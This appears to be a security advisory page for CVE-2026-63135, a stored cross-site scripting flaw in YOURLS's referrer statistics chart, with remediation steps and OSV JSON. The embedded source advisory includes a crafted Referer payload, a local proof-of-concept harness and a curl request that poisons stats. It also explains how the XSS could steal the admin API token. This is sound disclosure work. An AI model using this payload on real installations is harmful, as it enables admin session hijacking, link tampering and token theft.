CVE-2026-63135: Yourls/yourls Cross-Site Scripting Vulnerability

HIGH
Advisory Identifier: GHSA-5h77-88j3-r659
CVSS 8.2
CWE-79
Published
Advisory Summary

CVE-2026-63135 is a HIGH (CVSS 8.2) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Yourls/yourls libraries in the Packagist ecosystem. The issue involves yourls has stored xss in referrer statistics chart via crafted referer header. Remediation is available by upgrading affected packages to version 1.10.4.

CVE-2026-63135 at a Glance

CVE Identifier CVE-2026-63135
GHSA Identifier GHSA-5h77-88j3-r659
Severity HIGH
CVSS v3.1 Base Score 8.2
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Yourls/yourls
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-63135

To remediate this vulnerability, upgrade all affected Yourls/yourls dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

yourls/yourls fixed: 1.10.4
Upgrade yourls/yourls to 1.10.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for yourls/yourls

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-63135, inspect your project dependencies for Yourls/yourls:

inspect dependencies for yourls/yourls

Analyze the terminal output to locate any version of Yourls/yourls in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.10.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Yourls/yourls, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary YOURLS stores the HTTP `Referer` header for short URL redirects and later renders aggregated referrer domains in the per-link statistics page. An unauthenticated attacker can send a crafted `Referer` header to any existing short URL. When an authenticated administrator or stats-page viewer opens that short URL's statistics page, the crafted referrer is embedded into Google Charts JavaScript without JavaScript-string escaping, causing stored cross-site scripting. This is reachable in default private installations when authenticated users view stats, and in documented configurations where `YOURLS_PRIVATE_INFOS` is set to `false` to make statistics pages public. ### Details The vulnerable source-to-sink path is: ```text HTTP Referer header -> yourls_get_referrer() -> yourls_sanitize_url_safe() -> yourls_log_redirect() -> log table referrer column -> yourls-infos.php referrer aggregation -> yourls_get_domain() -> yourls_stats_pie() -> yourls_google_array_to_data_table() -> inline JavaScript ``` Relevant code: - `includes/functions.php:240-243`: `yourls_get_referrer()` reads `$_SERVER['HTTP_REFERER']`, calls `yourls_sanitize_url_safe()`, and truncates the result to 200 bytes. - `includes/functions.php:294-307`: `yourls_redirect_shorturl()` calls `yourls_log_redirect()` before redirecting the visitor. - `includes/functions.php:516-545`: `yourls_log_redirect()` stores the sanitized referrer in the log table. - `yourls-infos.php:60-82`: the statistics page reads logged referrers and groups them by `yourls_get_domain($row->referrer)`. - `yourls-infos.php:493-498`: the statistics page passes referrer domains to `yourls_stats_pie()`. - `includes/functions-infos.php:338-355`: `yourls_google_array_to_data_table()` manually concatenates labels into JavaScript as `['$label', ...]` without escaping single quotes, backslashes, or other JavaScript string metacharacters. - `includes/functions-formatting.php:141-143` and `includes/functions-formatting.php:555-609`: `yourls_sanitize_url_safe()` removes some unsafe characters and CRLF sequences, but still permits the characters needed for JavaScript-string breakout, including `'`, `[`, `]`, `,`, and parentheses. A crafted referrer host such as: ```text x',1],['marker',alert(1)],['z.tld ``` survives sanitization when used in a URL like: ```text http://x',1],['marker',alert(1)],['z.tld/path ``` It is then rendered into chart JavaScript like: ```javascript var data = google.visualization.arrayToDataTable([ ['x',1],['marker',alert(1)],['z.tld',1] ]); ``` The `alert(1)` call is only a benign proof marker. An attacker could execute arbitrary JavaScript in the stats viewer's browser context. ### PoC The following local harness was run against commit `c3fc8e2370d240403c17c2e4a70e1e234759a5b3`. It exercises YOURLS' real URL sanitizer, domain extraction, and `yourls_stats_pie()` chart rendering path, then executes the generated chart script in Node with stubs for Google Charts and `alert()`. ```sh docker run --rm --network none -v "$PWD:/repo:ro" -w /repo phpmyadmin:5.2.1 php -d display_startup_errors=0 -r ' define("IDNA_DEFAULT",0); define("INTL_IDNA_VARIANT_UTS46",1); function yourls_add_action(){ } function yourls_do_action(){ } function yourls_apply_filter($tag,$value){ return $value; } function yourls_get_protocol($url){ preg_match("!^[a-zA-Z][a-zA-Z0-9+.-]+:(//)?!", $url, $m); return isset($m[0]) ? $m[0] : ""; } function yourls_is_allowed_protocol($url,$protocols=[]){ if(!$protocols){ global $yourls_allowedprotocols; $protocols=$yourls_allowedprotocols; } return in_array(yourls_get_protocol($url), $protocols); } if(!function_exists("idn_to_utf8")){ function idn_to_utf8($domain,$flags=0,$variant=0){ return $domain; } } require "includes/vendor/autoload.php"; require "includes/functions-kses.php"; yourls_kses_init(); require "includes/functions-formatting.php"; require "includes/functions-infos.php"; $ref="http://x\x27,1],[\x27marker\x27,alert(1)],[\x27z.tld/path"; $san=substr(yourls_sanitize_url_safe($ref),0,200); $host=yourls_get_domain($san); ob_start(); yourls_stats_pie([$host=>1,"benign.example"=>1,"another.example"=>1], 5, "440x220", "stat_tab_source_ref"); $html=ob_get_clean(); preg_match("#<script[^>]*>(.*?)</script>#s", $html, $m); $js="global.pwned=0; function alert(x){global.pwned=x}; const google={setOnLoadCallback:(fn)=>fn(),visualization:{arrayToDataTable:(x)=>x,PieChart:function(){this.draw=function(){}}}}; document={getElementById:(id)=>({id})}; ".$m[1]."; console.log(\x27san=\x27+".json_encode($san)."); console.log(\x27host=\x27+".json_encode($host)."); console.log(\x27pwned=\x27+global.pwned);"; echo $js; ' 2>/dev/null > /tmp/yourls-xss-harness.js && node /tmp/yourls-xss-harness.js ``` Observed output: ```text san=http://x',1],['marker',alert(1)],['z.tld/path host=x',1],['marker',alert(1)],['z.tld pwned=1 ``` A request that would poison statistics for an existing short URL in a local YOURLS instance is: ```sh curl -H "Referer: http://x',1],['marker',alert(1)],['z.tld/path" \ http://localhost/<existing-keyword> ``` Then view the affected short URL's stats page: ```text http://localhost/<existing-keyword>+ ``` The payload is short enough to survive YOURLS' 200-byte referrer truncation and still executes when additional benign referrers are present. ### Impact Beyond executing arbitrary JavaScript in the victim's browser, the stored XSS runs in the authenticated YOURLS origin and can perform privileged same-origin actions. In a private installation, an attacker can use the victim administrator's session to fetch admin pages, read embedded CSRF nonces, and call admin AJAX endpoints to create, edit, or delete short URLs. This allows replacing existing short-link destinations with attacker-controlled phishing or malware URLs, deleting links, and modifying link metadata. The XSS can also fetch `/admin/tools.php` and read the victim's secret API signature token. That token authenticates passwordless API requests and can be reused outside the victim's browser session to create short URLs and query URL/global statistics until the underlying secret changes. Confidentiality impact includes access to admin-visible URL inventory and metadata such as long URLs, titles, creator IP addresses, timestamps, click counts, referrer statistics, and the API signature token. Integrity impact includes persistent modification of short-link destinations and deletion/creation of links. ### Credits - Thai Son Dinh from VinSOC Labs (R&D)

CVE-2026-63135 Affected Yourls/yourls Versions

1 component(s)
Fixed Versions:
1.10.4
Product / Package Ecosystem Affected Versions Fixed Version
yourls/yourls
Packagist
≥ 1.5.1
< 1.10.4
1.10.4

References

Frequently Asked Questions

What is CVE-2026-63135?
CVE-2026-63135 is a security vulnerability in Yourls/yourls involving YOURLS has stored XSS in referrer statistics chart via crafted Referer header under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Yourls/yourls versions are affected?
Affected versions include releases prior to 1.10.4 across affected packages: yourls/yourls.
What version fixes CVE-2026-63135?
Upgrading to 1.10.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is yourls/yourls affected?
Yes, yourls/yourls is affected in releases prior to 1.10.4. Upgrade your dependency to 1.10.4 or later.
What is the CVSS score of CVE-2026-63135?
CVE-2026-63135 has a CVSS v3.1 base score of 8.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N.
What CWE is associated with CVE-2026-63135?
CVE-2026-63135 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2026-63135?
Run the dependency tree command: 'inspect dependencies for yourls/yourls'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5h77-88j3-r659",
  "modified" : "2026-08-21T20:57:24Z",
  "published" : "2026-08-21T20:57:23Z",
  "aliases" : [ "CVE-2026-63135" ],
  "summary" : "YOURLS has stored XSS in referrer statistics chart via crafted Referer header",
  "details" : "### Summary\n\nYOURLS stores the HTTP `Referer` header for short URL redirects and later renders aggregated referrer domains in the per-link statistics page. An unauthenticated attacker can send a crafted `Referer` header to any existing short URL. When an authenticated administrator or stats-page viewer opens that short URL's statistics page, the crafted referrer is embedded into Google Charts JavaScript without JavaScript-string escaping, causing stored cross-site scripting.\n\nThis is reachable in default private installations when authenticated users view stats, and in documented configurations where `YOURLS_PRIVATE_INFOS` is set to `false` to make statistics pages public.\n\n### Details\n\nThe vulnerable source-to-sink path is:\n\n```text\nHTTP Referer header\n  -> yourls_get_referrer()\n  -> yourls_sanitize_url_safe()\n  -> yourls_log_redirect()\n  -> log table referrer column\n  -> yourls-infos.php referrer aggregation\n  -> yourls_get_domain()\n  -> yourls_stats_pie()\n  -> yourls_google_array_to_data_table()\n  -> inline JavaScript\n```\n\nRelevant code:\n\n- `includes/functions.php:240-243`: `yourls_get_referrer()` reads `$_SERVER['HTTP_REFERER']`, calls `yourls_sanitize_url_safe()`, and truncates the result to 200 bytes.\n- `includes/functions.php:294-307`: `yourls_redirect_shorturl()` calls `yourls_log_redirect()` before redirecting the visitor.\n- `includes/functions.php:516-545`: `yourls_log_redirect()` stores the sanitized referrer in the log table.\n- `yourls-infos.php:60-82`: the statistics page reads logged referrers and groups them by `yourls_get_domain($row->referrer)`.\n- `yourls-infos.php:493-498`: the statistics page passes referrer domains to `yourls_stats_pie()`.\n- `includes/functions-infos.php:338-355`: `yourls_google_array_to_data_table()` manually concatenates labels into JavaScript as `['$label', ...]` without escaping single quotes, backslashes, or other JavaScript string metacharacters.\n- `includes/functions-formatting.php:141-143` and `includes/functions-formatting.php:555-609`: `yourls_sanitize_url_safe()` removes some unsafe characters and CRLF sequences, but still permits the characters needed for JavaScript-string breakout, including `'`, `[`, `]`, `,`, and parentheses.\n\nA crafted referrer host such as:\n\n```text\nx',1],['marker',alert(1)],['z.tld\n```\n\nsurvives sanitization when used in a URL like:\n\n```text\nhttp://x',1],['marker',alert(1)],['z.tld/path\n```\n\nIt is then rendered into chart JavaScript like:\n\n```javascript\nvar data = google.visualization.arrayToDataTable([\n    ['x',1],['marker',alert(1)],['z.tld',1]\n]);\n```\n\nThe `alert(1)` call is only a benign proof marker. An attacker could execute arbitrary JavaScript in the stats viewer's browser context.\n\n### PoC\n\nThe following local harness was run against commit `c3fc8e2370d240403c17c2e4a70e1e234759a5b3`. It exercises YOURLS' real URL sanitizer, domain extraction, and `yourls_stats_pie()` chart rendering path, then executes the generated chart script in Node with stubs for Google Charts and `alert()`.\n\n```sh\ndocker run --rm --network none -v \"$PWD:/repo:ro\" -w /repo phpmyadmin:5.2.1 php -d display_startup_errors=0 -r '\ndefine(\"IDNA_DEFAULT\",0);\ndefine(\"INTL_IDNA_VARIANT_UTS46\",1);\nfunction yourls_add_action(){ }\nfunction yourls_do_action(){ }\nfunction yourls_apply_filter($tag,$value){ return $value; }\nfunction yourls_get_protocol($url){ preg_match(\"!^[a-zA-Z][a-zA-Z0-9+.-]+:(//)?!\", $url, $m); return isset($m[0]) ? $m[0] : \"\"; }\nfunction yourls_is_allowed_protocol($url,$protocols=[]){ if(!$protocols){ global $yourls_allowedprotocols; $protocols=$yourls_allowedprotocols; } return in_array(yourls_get_protocol($url), $protocols); }\nif(!function_exists(\"idn_to_utf8\")){ function idn_to_utf8($domain,$flags=0,$variant=0){ return $domain; } }\nrequire \"includes/vendor/autoload.php\";\nrequire \"includes/functions-kses.php\";\nyourls_kses_init();\nrequire \"includes/functions-formatting.php\";\nrequire \"includes/functions-infos.php\";\n$ref=\"http://x\\x27,1],[\\x27marker\\x27,alert(1)],[\\x27z.tld/path\";\n$san=substr(yourls_sanitize_url_safe($ref),0,200);\n$host=yourls_get_domain($san);\nob_start();\nyourls_stats_pie([$host=>1,\"benign.example\"=>1,\"another.example\"=>1], 5, \"440x220\", \"stat_tab_source_ref\");\n$html=ob_get_clean();\npreg_match(\"#<script[^>]*>(.*?)</script>#s\", $html, $m);\n$js=\"global.pwned=0; function alert(x){global.pwned=x}; const google={setOnLoadCallback:(fn)=>fn(),visualization:{arrayToDataTable:(x)=>x,PieChart:function(){this.draw=function(){}}}}; document={getElementById:(id)=>({id})}; \".$m[1].\"; console.log(\\x27san=\\x27+\".json_encode($san).\"); console.log(\\x27host=\\x27+\".json_encode($host).\"); console.log(\\x27pwned=\\x27+global.pwned);\";\necho $js;\n' 2>/dev/null > /tmp/yourls-xss-harness.js && node /tmp/yourls-xss-harness.js\n```\n\nObserved output:\n\n```text\nsan=http://x',1],['marker',alert(1)],['z.tld/path\nhost=x',1],['marker',alert(1)],['z.tld\npwned=1\n```\n\nA request that would poison statistics for an existing short URL in a local YOURLS instance is:\n\n```sh\ncurl -H \"Referer: http://x',1],['marker',alert(1)],['z.tld/path\" \\\n  http://localhost/<existing-keyword>\n```\n\nThen view the affected short URL's stats page:\n\n```text\nhttp://localhost/<existing-keyword>+\n```\n\nThe payload is short enough to survive YOURLS' 200-byte referrer truncation and still executes when additional benign referrers are present.\n\n### Impact\n\nBeyond executing arbitrary JavaScript in the victim's browser, the stored XSS runs in the authenticated YOURLS origin and can perform privileged same-origin actions.\n\nIn a private installation, an attacker can use the victim administrator's session to fetch admin pages, read embedded CSRF nonces, and call admin AJAX endpoints to create, edit, or delete short URLs. This allows replacing existing short-link destinations with attacker-controlled phishing or malware URLs, deleting links, and modifying link metadata.\n\nThe XSS can also fetch `/admin/tools.php` and read the victim's secret API signature token. That token authenticates passwordless API requests and can be reused outside the victim's browser session to create short URLs and query URL/global statistics until the underlying secret changes.\n\nConfidentiality impact includes access to admin-visible URL inventory and metadata such as long URLs, titles, creator IP addresses, timestamps, click counts, referrer statistics, and the API signature token. Integrity impact includes persistent modification of short-link destinations and deletion/creation of links.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R&D)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "yourls/yourls"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.5.1"
      }, {
        "fixed" : "1.10.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.10.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/YOURLS/YOURLS/security/advisories/GHSA-5h77-88j3-r659"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/YOURLS/YOURLS/pull/4107"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/YOURLS/YOURLS/commit/e1e93476655107e6caab34e52259eb1c91079ec7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/YOURLS/YOURLS"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/YOURLS/YOURLS/releases/tag/1.10.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-21T20:57:23Z",
    "nvd_published_at" : null
  }
}